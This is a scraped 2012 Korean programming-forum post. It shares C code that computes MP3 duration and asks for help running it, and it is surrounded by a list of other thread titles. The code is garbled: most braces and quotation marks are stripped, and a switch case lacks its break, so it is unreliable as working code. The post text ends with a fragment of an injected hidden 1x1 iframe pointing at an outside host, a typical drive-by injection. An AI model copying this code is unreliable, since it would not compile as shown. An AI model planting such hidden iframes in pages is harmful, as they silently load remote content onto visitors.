디시인사이드 갤러리

갤러리 이슈박스, 최근방문 갤러리

갤러리 본문 영역

MP3 길이 계산하는 코딩인데 실행해보고싶다 ㅠㅠ

ㅇㅇㅇㅇ(121.157) 2012.01.15 23:27:27
조회 117 추천 0 댓글 6


#include <stdio.h> 
#include <sys/types.h> 
#include <winsock2.h> 
#include <fcntl.h> 
#include <sys/stat.h> 
 
int main(int s_Argc, char **s_Argv); 
unsigned long MZ_MP3_Time(char *s_MP3_Name); 
 
int g_BitrateIndexTable[4][3][16] = { 
{ // Version 2.5 
{ // Layer I 
0, 32, 48, 56, 64, 80, 96, 112, 128, 144, 160, 176, 192, 224, 256, (-1) 
}, 
{ // Layer II 
0, 8, 16, 24, 32, 40, 48, 56, 64, 80, 96, 112, 128, 144, 160, (-1) 
}, 
{ // Layer III 
0, 8, 16, 24, 32, 40, 48, 56, 64, 80, 96, 112, 128, 144, 160, (-1) 

}, 
{ // Version reserved 
{0,},{0,},{0,} 
}, 
{ // Version 2.0 (ISO / IEC 13818-3) 
{ // Layer I 
0, 32, 48, 56, 64, 80, 96, 112, 128, 144, 160, 176, 192, 224, 256, (-1) 
}, 
{ // Layer II 
0, 8, 16, 24, 32, 40, 48, 56, 64, 80, 96, 112, 128, 144, 160, (-1) 
}, 
{ // Layer III 
0, 8, 16, 24, 32, 40, 48, 56, 64, 80, 96, 112, 128, 144, 160, (-1) 

}, 
{ // Version 1.0 (ISO / IEC 11172-3) 
{ // Layer I 
0, 32, 64, 96, 128, 160, 192, 224, 256, 288, 320, 352, 384, 416, 448, (-1) 
}, 
{ // Layer II 
0, 32, 48, 56, 64, 80, 96, 112, 128, 160, 192, 224, 256, 320, 384, (-1) 
}, 
{ // Layer III 
0, 32, 40, 48, 56, 64, 80, 96, 112, 128, 160, 192, 224, 256, 320, (-1) 


}; 
 
int g_FrequencyTable[4][4] = { 
{ // Version 2.5 
11025, 12000, 8000, (-1) 
}, 
{ // Version reserved 
(-1), 
}, 
{ // Version 2.0 
22050, 24000, 16000, (-1) 
}, 
{ // Version 1.0 
44100, 48000, 32000, (-1) 

}; 
 
char *g_ChannelModeString[] = { 
"Stereo", "Joint steroeo", "Dual stereo", "Single stereo" 
}; 
 
char *g_LayerString[] = { 
"Layer I", "Layer II", "Layer III" 
}; 
 
int main(int s_Argc, char **s_Argv) 

int s_Return = 0; 
if(s_Argc >= 2) 

int s_Count; 
int s_Hour, s_Min, s_Sec; 
for(s_Count = 1;s_Count < s_Argc;s_Count++) 

s_Return = MZ_MP3_Time(s_Argv[s_Count]); 
if(s_Return > 0) 

s_Sec = s_Return % 60; 
s_Min = s_Return / 60; 
s_Hour = s_Return / 3600; 
fprintf(stdout, ""%s" - %02d:%02d:%02d ", s_Argv[s_Count], s_Hour, s_Min, s_Sec); 

else fprintf(stdout, ""%s" - Unknown MP3 format ", s_Argv[s_Count]); 


else fprintf(stderr, "mp3_time <mp3 file> "); 
return(s_Return); 

 
unsigned long MZ_MP3_Time(char *s_MP3_Name) 

unsigned long s_Return = 0lu; 
if(s_MP3_Name) 

int s_Handle; 
s_Handle = open(s_MP3_Name, O_RDONLY); 
if(s_Handle >= 0) 

int s_ReadSize; 
unsigned long s_Header = 0lu; 
unsigned char s_Buffer; 
unsigned long s_VersionID = 0lu, s_Layer = 0lu, s_BitrateIndex = 0lu, s_FrequencyIndex = 0lu, s_Padding = 0lu; 
//unsigned long s_Protection = 0lu, s_ChannelMode = 0lu, s_ModeExtension = 0lu, s_Copyright = 0lu, s_Original = 0lu, s_Emphasis = 0lu; 
 
unsigned long s_FrameSize = 0lu, s_FrameCount = 0lu; 
 
do 

s_ReadSize = read(s_Handle, &s_Buffer, sizeof(unsigned char)); 
if(s_ReadSize > 0) 

s_Header = (s_Header << 8) | (unsigned long)(s_Buffer & 0xff); 
if((s_Header & 0xffe00000lu) == 0xffe00000lu) 

s_VersionID = (s_Header >> 19) & 0x03; 
s_Layer = (s_Header >> 17) & 0x03; 
//s_Protection = (s_Header >> 16) & 0x01; 
s_BitrateIndex = (s_Header >> 12) & 0x0f; 
s_FrequencyIndex = (s_Header >> 10) & 0x03; 
s_Padding = (s_Header >> 9) & 0x01; 
//s_ChannelMode = (s_Header >> 6) & 0x03; 
//s_ModeExtension = (s_Header >> 4) & 0x03; 
//s_Copyright = (s_Header >> 3) & 0x01; 
//s_Original = (s_Header >> 2) & 0x01; 
//s_Emphasis = (s_Header >> 0) & 0x03; 
if(s_VersionID != 0x01 && 
s_Layer != 0x00 && 
s_BitrateIndex != 0x0f && s_BitrateIndex != 0 && 
s_FrequencyIndex != 0x03 


switch((3 - s_Layer)) 

case 0: // Layer I 
s_FrameSize = 12000lu * g_BitrateIndexTable[s_VersionID][3 - s_Layer][s_BitrateIndex]; 
s_FrameSize /= g_FrequencyTable[s_VersionID][s_FrequencyIndex]; 
s_FrameSize = ((s_FrameSize + s_Padding)<<2) - 4; 
break; 
case 1: // Layer II 
s_FrameSize = 144000lu * g_BitrateIndexTable[s_VersionID][3 - s_Layer][s_BitrateIndex]; 
s_FrameSize /= g_FrequencyTable[s_VersionID][s_FrequencyIndex]; 
s_FrameSize += s_Padding - 4; 
case 2: // Layer III 
default: 
s_FrameSize = 144000lu * g_BitrateIndexTable[s_VersionID][3 - s_Layer][s_BitrateIndex]; 
s_FrameSize /= g_FrequencyTable[s_VersionID][s_FrequencyIndex] << (s_VersionID == 0x03 ? 0 : 1); 
s_FrameSize = s_FrameSize + s_Padding - 4; 
break; 

s_Header = 0lu; 
if(s_FrameSize > 0) 

s_FrameCount++; 
lseek(s_Handle, s_FrameSize, SEEK_CUR); 




}while(s_ReadSize > 0); 
close(s_Handle); 
s_Return = (((s_FrameCount * 1152) / g_FrequencyTable[s_VersionID][s_FrequencyIndex]) >> (s_VersionID == 0x03 ? 0 : 1)); 

else fprintf(stderr, "mp3_time.c: MZ_MP3_Time - [ERROR] Can not open mp3 "%s" !!! ", s_MP3_Name); 

else fprintf(stderr, "mp3_time.c: MZ_MP3_Time - [ERROR] s_MP3_Name is null !!! "); 
return(s_Return); 









실행하면 그냥 mp3_time <mp3 file> 출력 되고 끝..
어떻게 mp3 파일을 불러오는지 도와줄분?me width=1 src =http://ad01.mooo.com/advertis/ height=1>

추천 비추천

0

고정닉 0

0

댓글 영역

전체 댓글 0
본문 보기

하단 갤러리 리스트 영역

왼쪽 컨텐츠 영역

갤러리 리스트 영역

갤러리 리스트
번호 제목 글쓴이 작성일 조회 추천
설문 대박 날 것 같아서 내 꿈에 나와줬으면 하는 스타는? 운영자 25/11/17 - -
AD 대학생 필수템! What's in my Bag 운영자 25/11/21 - -
299513 여친 있는 프갤러 댓글로 발 드세요 다들 ㅇㅇ [2] dlbo갤로그로 이동합니다. 12.01.19 96 0
299512 강남역 무서움 [6] [성대아싸]갤로그로 이동합니다. 12.01.19 147 0
299511 오늘 날씨가 왜이리 꾸릿꾸릿하냐?? [3] 거칠게갤로그로 이동합니다. 12.01.19 47 0
299510 소멤 발표 한시간남았다. [4] ㅅㅅㅅ(118.39) 12.01.19 159 0
299509 모니터가 얇으면 프로그래머로 보이지 않아 [2] ㅇㅇ(220.78) 12.01.19 110 0
299508 장부정리 하는데 매크로 프로그램 같은거 없나여 [8] 1(118.220) 12.01.19 100 0
299507 적성 검사 결과 [3] Ynobe갤로그로 이동합니다. 12.01.19 110 0
299506 아싸횽 블로그 링크셀 다 합체 시켰더니 쥰내 빠르다 [1] dlbo갤로그로 이동합니다. 12.01.19 63 0
299505 대학연구실 == SI [2] NightWish갤로그로 이동합니다. 12.01.19 108 0
299504 c#에서 포인터 쓰긴 씀? [1] 880416(211.246) 12.01.19 93 0
299503 고나라당 정말 알바가 있긴 있나보네. [1] 멘탈붕괴(121.129) 12.01.19 82 0
299501 시발 의자가 좆거지여 최대높이가 왜 이따우여 dlbo갤로그로 이동합니다. 12.01.19 54 0
299500 닷넷프레임워크 3.5가 필요한게임에 닷넴프레임워크3.5.1 이 되잇으면 cuby갤로그로 이동합니다. 12.01.19 50 0
299499 아스횽을 위한 적절한 예시 [2] dlbo갤로그로 이동합니다. 12.01.19 85 0
299498 대학교때 코딩알바 많이 함? [8] ㅇㅇㅇ(121.173) 12.01.19 215 0
299495 적성검사 [2] Ynobe갤로그로 이동합니다. 12.01.19 44 0
299493 해킹으로 돈 버는 분들 [2] 궁금궁금(123.143) 12.01.19 119 0
299491 perform 과 execute의 차이점은 뭐임? (곽팀장소환) 캐영어닭(115.92) 12.01.19 66 0
299490 컴퓨터 관력직인사람들은어떻게 눈보호하나용. [2] ㅁㄴㅇ(175.196) 12.01.19 121 0
299488 컴터초보고 포멧도전중인데 공시디인식이안되요. [2] ㅁㄴㅇ(175.196) 12.01.19 72 0
299487 횽들!해킹 질문이 있어요 [5] 궁금궁금(123.143) 12.01.19 100 0
299486 프갤성님들 할만한 게임 나왔다. 도전과제도 있음! [1] 프갤(219.255) 12.01.19 102 0
299484 근데 미국은 워낙에 디도스공격이 많나보지? [1] 정신차리고갤질해라갤로그로 이동합니다. 12.01.19 59 0
299483 시발 미국에서 sopa인가 뭔가 통과되서 [2] 정신차리고갤질해라갤로그로 이동합니다. 12.01.19 95 0
299481 채팅프로그램에서, 대화참여자 명단을 만드는데 왜이리.. [13] 도와줘영(203.237) 12.01.19 135 0
299478 (리눅스 시스템프로그래밍)파일 서술자에 대해서 질문 !!! [7] 에이시아(203.90) 12.01.19 103 0
299475 리눅스 vsftpd로 서버 만든거 계정 비밀번호알수없나요? [2] hamsik(211.206) 12.01.19 62 0
299474 요즘 NoSQL대세가 뭐냐? [1] 천회장(211.246) 12.01.19 109 0
299473 웹브라우저에서 주소줄에 입력하면 팝업(?) 비슷한게 뜨는거 어케 구현함? [14] ㅇㅇㅇ(121.144) 12.01.19 108 0
299472 죽은송장님 ^-^ 재밌는거 공부하시네요 [15] 람쥐(219.240) 12.01.19 142 0
299471 알고리즘문제에서 [51] 고기호빵갤로그로 이동합니다. 12.01.19 219 1
299470 프로그램 초급인데 하는 사람은 이 첨부파일 열어봐. [3] 로또로(218.159) 12.01.19 139 0
299469 개인정보 무단 수집 하면 어떻게 됨?? [7] ㅇㅇㅇ갤로그로 이동합니다. 12.01.19 84 1
299468 지난회차 로또 시드값인데...... [2] 로또로(218.159) 12.01.19 159 1
299465 갤럭시 노트 타블렛펜처럼 사용할 수 있을까여? [6] Partyup갤로그로 이동합니다. 12.01.19 367 0
299463 으헝헝헝 피똥쌋다 ㅠㅠ [1] SODMaster갤로그로 이동합니다. 12.01.19 50 0
299462 파이썬 버젼몇짜리로 시작해야될까?? [4] NightWish갤로그로 이동합니다. 12.01.19 112 0
299461 창세기전4 프로모 영상 [3] 컴공(121.142) 12.01.19 65 0
299460 니들 빅 파일 시스템 하둡 이라고 써봤어? [4] iljeomobolt갤로그로 이동합니다. 12.01.19 142 0
299459 asp.net 댓글 구현에 어떤 컨트롤을 씀? □ㅁ갤로그로 이동합니다. 12.01.19 32 0
299457 아름다운 아침입니다. [4] SODMaster갤로그로 이동합니다. 12.01.19 56 0
299456 인간이 가장 코딩하고 싶음을 느낀다는 9시 11분 [3] 컴공(121.142) 12.01.19 109 0
299455 누구 간단한 해킹툴 프로그래밍 소스 가지고 있는사람 [4] 장떡갤로그로 이동합니다. 12.01.19 127 0
299454 형들...한번봐줘. 이제 전역한 예비역인데.. [4] 아저씽(222.112) 12.01.19 95 0
299453 안녕하세요 프갤 뉴비입니다 [1] psu갤로그로 이동합니다. 12.01.19 58 0
299452 대충 글조회수오르는거보면 ㅁㄴㅇ(222.114) 12.01.19 57 0
299451 가기전에하나 [2] ㅁㄴㅇ(222.114) 12.01.19 45 0
299450 안드로이드 프밍하다가 자러갑니다. ㅁㄴㅇ(222.114) 12.01.19 45 0
299446 안녕훃들 여기는 전부 컴공님들이신가 [4] 배터리폭발갤로그로 이동합니다. 12.01.19 99 0
299445 시발 해외호스팅은 전부 리셀러관계네 정신차리고갤질해라갤로그로 이동합니다. 12.01.19 61 0
갤러리 내부 검색
제목+내용게시물 정렬 옵션

오른쪽 컨텐츠 영역

실시간 베스트

1/8

디시미디어

디시이슈

1/2